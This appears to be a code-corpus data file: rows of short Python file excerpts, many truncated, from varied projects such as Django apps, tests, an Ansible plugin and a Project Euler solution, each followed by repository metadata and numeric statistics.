9946488fb61093bf2394254da056d2ebd290e83a
[ "MIT" ]
2
2021-11-29T16:16:22.000Z
2021-11-30T05:06:05.000Z
import optparse import sys from sys import getsizeof import logging from signal import signal, SIGINT import time import requests # MIT License # # Copyright (c) 2022 SaicharanKandukuri # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation file...
36.702041
98
0.585187
1,026
8,992
5.08577
0.292398
0.018398
0.030663
0.036796
0.364699
0.309889
0.302798
0.288233
0.261403
0.261403
0
0.019197
0.304827
8,992
244
99
36.852459
0.81507
0.349867
0
0.232394
0
0
0.18048
0.015812
0
0
0
0
0
1
0.056338
false
0.112676
0.056338
0
0.15493
0.028169
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
82fd258b0956b6fcb923493f7bbd91bb6546c5c0
335
py
Python
bugex_online/bugex_webapp/templatetags/custom_tags.py
fkleon/bugex-online
bf0687ff6167d66980eb44adcdb14e8fc65d9504
[ "Apache-2.0" ]
null
null
null
bugex_online/bugex_webapp/templatetags/custom_tags.py
fkleon/bugex-online
bf0687ff6167d66980eb44adcdb14e8fc65d9504
[ "Apache-2.0" ]
7
2020-06-30T23:15:12.000Z
2022-02-01T00:57:38.000Z
bugex_online/bugex_webapp/templatetags/custom_tags.py
fkleon/bugex-online
bf0687ff6167d66980eb44adcdb14e8fc65d9504
[ "Apache-2.0" ]
null
null
null
from django import template from django.conf import settings register = template.Library() @register.simple_tag def settings_value(name): """ This Tag allows to access values from the configuration file in the templates. """ try: return settings.__getattr__(name) except AttributeError: ...
22.333333
82
0.707463
40
335
5.775
0.7
0.08658
0
0
0
0
0
0
0
0
0
0
0.220896
335
14
83
23.928571
0.885057
0.232836
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0.222222
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
82ff896e3d6c189f07e2be0a44d052ed10938137
330
py
Python
producto/migrations/0004_auto_20180611_2350.py
JohanVasquez/crud-venta-libre
557f82b5d88c42480020a65cc6034348ff20efce
[ "MIT" ]
null
null
null
producto/migrations/0004_auto_20180611_2350.py
JohanVasquez/crud-venta-libre
557f82b5d88c42480020a65cc6034348ff20efce
[ "MIT" ]
null
null
null
producto/migrations/0004_auto_20180611_2350.py
JohanVasquez/crud-venta-libre
557f82b5d88c42480020a65cc6034348ff20efce
[ "MIT" ]
null
null
null
# Generated by Django 2.0.6 on 2018-06-11 23:50 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('producto', '0003_auto_20180611_2248'), ] operations = [ migrations.RenameModel( old_name='Venta', new_name='Ventas', ...
18.333333
48
0.593939
36
330
5.305556
0.861111
0
0
0
0
0
0
0
0
0
0
0.133047
0.293939
330
17
49
19.411765
0.686695
0.136364
0
0
1
0
0.14841
0.081272
0
0
0
0
0
1
0
false
0
0.090909
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
d20192a90dd1bce99c4dd2075229189ba55979b5
6,481
py
Python
src/test/testcases/testPSUReadSbeMem.py
open-power/sbe
0208243c5bbd68fa36464397fa46a2940c827edf
[ "Apache-2.0" ]
9
2017-03-21T08:34:24.000Z
2022-01-25T06:00:51.000Z
src/test/testcases/testPSUReadSbeMem.py
sumant8098/sbe
0208243c5bbd68fa36464397fa46a2940c827edf
[ "Apache-2.0" ]
17
2016-11-04T00:46:43.000Z
2021-04-13T16:31:11.000Z
src/test/testcases/testPSUReadSbeMem.py
sumant8098/sbe
0208243c5bbd68fa36464397fa46a2940c827edf
[ "Apache-2.0" ]
17
2017-03-24T11:52:56.000Z
2022-01-25T06:00:49.000Z
# IBM_PROLOG_BEGIN_TAG # This is an automatically generated prolog. # # $Source: src/test/testcases/testPSUReadSbeMem.py $ # # OpenPOWER sbe Project # # Contributors Listed Below - COPYRIGHT 2017,2019 # [+] International Business Machines Corp. # # # Licensed under the Apache License, Version 2.0 (the "License"); # you...
38.123529
144
0.494214
606
6,481
5.20132
0.39769
0.019036
0.025381
0.036485
0.244607
0.219226
0.176079
0.096764
0.052665
0.034898
0
0.046821
0.235457
6,481
169
145
38.349112
0.589304
0.405339
0
0.151515
1
0
0.242948
0.014862
0
0
0.041553
0
0
1
0.045455
false
0
0.090909
0
0.151515
0.227273
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
d20425193c1b51cfe42ea596643380c8747b1847
1,275
py
Python
memcnn/experiment/tests/test_factory.py
classner/memcnn
107ea40945b2b0d312d05cab5b78633e5f977a52
[ "MIT" ]
224
2018-03-03T02:46:54.000Z
2022-02-12T14:33:56.000Z
memcnn/experiment/tests/test_factory.py
classner/memcnn
107ea40945b2b0d312d05cab5b78633e5f977a52
[ "MIT" ]
62
2018-04-28T01:25:14.000Z
2021-11-25T13:20:57.000Z
memcnn/experiment/tests/test_factory.py
classner/memcnn
107ea40945b2b0d312d05cab5b78633e5f977a52
[ "MIT" ]
25
2018-04-20T18:08:12.000Z
2022-02-03T22:13:44.000Z
import pytest import os import memcnn.experiment.factory from memcnn.config import Config def test_get_attr_from_module(): a = memcnn.experiment.factory.get_attr_from_module('memcnn.experiment.factory.get_attr_from_module') assert a is memcnn.experiment.factory.get_attr_from_module def test_load_experiment_...
37.5
104
0.741176
177
1,275
5.079096
0.333333
0.14238
0.204672
0.07564
0.452725
0.430478
0.382647
0.249166
0.249166
0.249166
0
0.009058
0.134118
1,275
33
105
38.636364
0.805254
0
0
0.08
0
0
0.175686
0.059608
0
0
0
0
0.08
1
0.16
false
0
0.16
0
0.32
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
d205e00637b9718f14c4962c0430f40c178683e5
266
py
Python
src/guildapi.py
nsde/discord-guildapi
b1303423e74c1370498e594429f3bf4aeae4ee95
[ "MIT" ]
null
null
null
src/guildapi.py
nsde/discord-guildapi
b1303423e74c1370498e594429f3bf4aeae4ee95
[ "MIT" ]
null
null
null
src/guildapi.py
nsde/discord-guildapi
b1303423e74c1370498e594429f3bf4aeae4ee95
[ "MIT" ]
null
null
null
import requests import json def getguild(guild_id): guild_id = str(guild_id) http_response = requests.get(f'https://discord.com/api/guilds/{guild_id}/widget.json') response_data = http_response.json() data = json.dumps(response_data) return data
29.555556
90
0.733083
39
266
4.794872
0.538462
0.149733
0
0
0
0
0
0
0
0
0
0
0.150376
266
9
91
29.555556
0.827434
0
0
0
0
0
0.198502
0
0
0
0
0
0
1
0.125
false
0
0.25
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
d2066abfbaca62c1d5be55ef5d80f560df075d0a
409
py
Python
smarthome/smarthomeproj/server/migrations/0011_auto_20210122_0256.py
nunocaseiro/smarthome-server-django
711db6ff360061d861d9985264f753e0f7846327
[ "Apache-2.0" ]
null
null
null
smarthome/smarthomeproj/server/migrations/0011_auto_20210122_0256.py
nunocaseiro/smarthome-server-django
711db6ff360061d861d9985264f753e0f7846327
[ "Apache-2.0" ]
null
null
null
smarthome/smarthomeproj/server/migrations/0011_auto_20210122_0256.py
nunocaseiro/smarthome-server-django
711db6ff360061d861d9985264f753e0f7846327
[ "Apache-2.0" ]
null
null
null
# Generated by Django 3.1.3 on 2021-01-22 02:56 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('server', '0010_auto_20210122_0054'), ] operations = [ migrations.AlterField( model_name='sensorvalue', name='value',...
21.526316
70
0.613692
45
409
5.444444
0.844444
0
0
0
0
0
0
0
0
0
0
0.111111
0.273839
409
18
71
22.722222
0.713805
0.110024
0
0
1
0
0.124309
0.063536
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
d20acbdc55dd2187f4e70d6f0f36211cc6ddf2d9
9,347
py
Python
bets-templates.py
longnow/longview
9345faacec64f427eab43790abc165af6a572e3d
[ "BSD-2-Clause" ]
82
2015-01-23T04:20:31.000Z
2022-02-18T22:33:53.000Z
bets-templates.py
longnow/longview
9345faacec64f427eab43790abc165af6a572e3d
[ "BSD-2-Clause" ]
2
2015-03-27T22:24:46.000Z
2017-02-20T08:19:12.000Z
bets-templates.py
longnow/longview
9345faacec64f427eab43790abc165af6a572e3d
[ "BSD-2-Clause" ]
7
2015-06-04T20:37:02.000Z
2021-03-10T02:41:08.000Z
# Copyright (c) 2004, The Long Now Foundation # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list o...
23.484925
167
0.642559
1,291
9,347
4.650658
0.299768
0.018654
0.01499
0.034644
0.380913
0.323451
0.25533
0.231346
0.193538
0.193538
0
0.028667
0.201348
9,347
397
168
23.544081
0.77562
0.172569
0
0.403333
0
0.023333
0.980387
0.078452
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
d20af14dd3e3f451b0c30965586bb3662c6ee4a4
768
py
Python
ansible/roles/kraken.config/filter_plugins/expand_config.py
yenicapotediaz/k2
90aeb6efd77371c388b1429fc443aa30673c7787
[ "Apache-2.0" ]
85
2016-10-06T23:15:14.000Z
2017-09-15T00:52:25.000Z
ansible/roles/kraken.config/filter_plugins/expand_config.py
yenicapotediaz/k2
90aeb6efd77371c388b1429fc443aa30673c7787
[ "Apache-2.0" ]
739
2016-09-19T21:48:58.000Z
2017-09-15T17:46:52.000Z
ansible/roles/kraken.config/filter_plugins/expand_config.py
yenicapotediaz/k2
90aeb6efd77371c388b1429fc443aa30673c7787
[ "Apache-2.0" ]
47
2016-09-22T21:32:12.000Z
2017-09-14T21:00:53.000Z
import copy, os from ansible import errors def expand_config(config_data): try: all_data = copy.deepcopy(expand_envs(config_data)) return all_data except Exception, e: raise errors.AnsibleFilterError( 'expand_config plugin error: {0}, config_data={1}'.format( str(e), ...
26.482759
70
0.669271
101
768
4.950495
0.475248
0.096
0.09
0.072
0
0
0
0
0
0
0
0.003356
0.223958
768
28
71
27.428571
0.83557
0
0
0
0
0
0.083791
0
0
0
0
0
0
0
null
null
0
0.083333
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
d20eb1e22a6672296afae7cc1ca61eef92581ba3
53,916
py
Python
resources/mgltools_x86_64Linux2_1.5.6/MGLToolsPckgs/MolKit/amberPrmTop.py
J-E-J-S/aaRS-Pipeline
43f59f28ab06e4b16328c3bc405cdddc6e69ac44
[ "MIT" ]
8
2021-12-14T21:30:01.000Z
2022-02-14T11:30:03.000Z
resources/mgltools_x86_64Linux2_1.5.6/MGLToolsPckgs/MolKit/amberPrmTop.py
J-E-J-S/aaRS-Pipeline
43f59f28ab06e4b16328c3bc405cdddc6e69ac44
[ "MIT" ]
null
null
null
resources/mgltools_x86_64Linux2_1.5.6/MGLToolsPckgs/MolKit/amberPrmTop.py
J-E-J-S/aaRS-Pipeline
43f59f28ab06e4b16328c3bc405cdddc6e69ac44
[ "MIT" ]
null
null
null
## Automatically adapted for numpy.oldnumeric Jul 23, 2007 by ############################################################################ # # Author: Ruth HUEY, Michel F. SANNER # # Copyright: M. Sanner TSRI 2001 # ############################################################################# # $Header: /opt/cvs/pyt...
34.037879
108
0.476167
6,089
53,916
4.200526
0.139924
0.009149
0.008914
0.013371
0.248505
0.185401
0.145169
0.127576
0.109982
0.102788
0
0.040112
0.384097
53,916
1,583
109
34.059381
0.730117
0.131686
0
0.204064
0
0
0.081733
0.005265
0
0
0
0.000632
0.050353
0
null
null
0.000883
0.010601
null
null
0.013251
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
d211994f319cdf819a2e0d0b5d58c4101deb9cd5
418
py
Python
app/main/models/hello_db.py
ZenithClown/flask-docker-template
cf5949fb6f448dd73cc287842b5deb1d5f7bd321
[ "MIT" ]
null
null
null
app/main/models/hello_db.py
ZenithClown/flask-docker-template
cf5949fb6f448dd73cc287842b5deb1d5f7bd321
[ "MIT" ]
41
2021-09-01T17:31:47.000Z
2022-03-28T12:13:12.000Z
app/main/models/hello_db.py
ZenithClown/flask-docker-template
cf5949fb6f448dd73cc287842b5deb1d5f7bd321
[ "MIT" ]
1
2021-12-22T07:25:08.000Z
2021-12-22T07:25:08.000Z
# -*- encoding: utf-8 -*- from .. import db from ._base_model import ModelSchema class HelloDB(db.Model, ModelSchema): """Use the Model to Establish a Connection to DB""" __tablename__ = "HelloDB" id = db.Column(db.Integer, primary_key = True, autoincrement = True, nullable = False) field = db.Co...
24.588235
93
0.665072
52
418
5.057692
0.634615
0.060837
0.076046
0
0
0
0
0
0
0
0
0.012048
0.205742
418
16
94
26.125
0.78012
0.167464
0
0
0
0
0.020468
0
0
0
0
0
0
1
0.125
false
0
0.25
0
0.875
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
d2162729fc2afb100ad7e2d7244982b56598a414
822
py
Python
scripts/problem0002.py
Joel301/Project_Euler
2280dc19b8e0a2c956cf0d6db6c7d24eedd5e943
[ "MIT" ]
null
null
null
scripts/problem0002.py
Joel301/Project_Euler
2280dc19b8e0a2c956cf0d6db6c7d24eedd5e943
[ "MIT" ]
null
null
null
scripts/problem0002.py
Joel301/Project_Euler
2280dc19b8e0a2c956cf0d6db6c7d24eedd5e943
[ "MIT" ]
null
null
null
#! python3 # -*- coding: utf-8 -*- """ Euler description from https://projecteuler.net/ Problem 0002 Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... By considering the terms in the Fibo...
22.833333
79
0.644769
132
822
3.954545
0.621212
0.011494
0.05364
0.084291
0
0
0
0
0
0
0
0.106796
0.248175
822
35
80
23.485714
0.737864
0.585158
0
0
1
0
0.024242
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.285714
0.071429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1